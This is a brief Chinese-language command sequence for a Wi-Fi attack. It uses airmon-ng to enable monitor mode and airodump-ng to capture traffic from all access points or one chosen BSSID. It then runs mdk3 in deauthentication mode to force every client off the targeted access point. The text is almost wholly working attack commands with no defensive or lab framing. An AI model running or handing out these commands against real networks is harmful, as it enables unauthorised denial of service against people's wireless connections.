1. ifconfig 查看系统网络接口
2. airmon-ng start wlan0 设置无线网卡为monitor状态
3. airodump-ng -a mon0 抓包(All)
4. airodump-ng --bssid 00:27:19:9D:AA:0A mon0 抓包(特定AP)
5. 将特定AP中的所有client DA,可以从4的结果中观察到
root@root:~# cat maclist
00:27:19:9D:AA:0A
root@root:~# mdk3 mon0 d -b maclist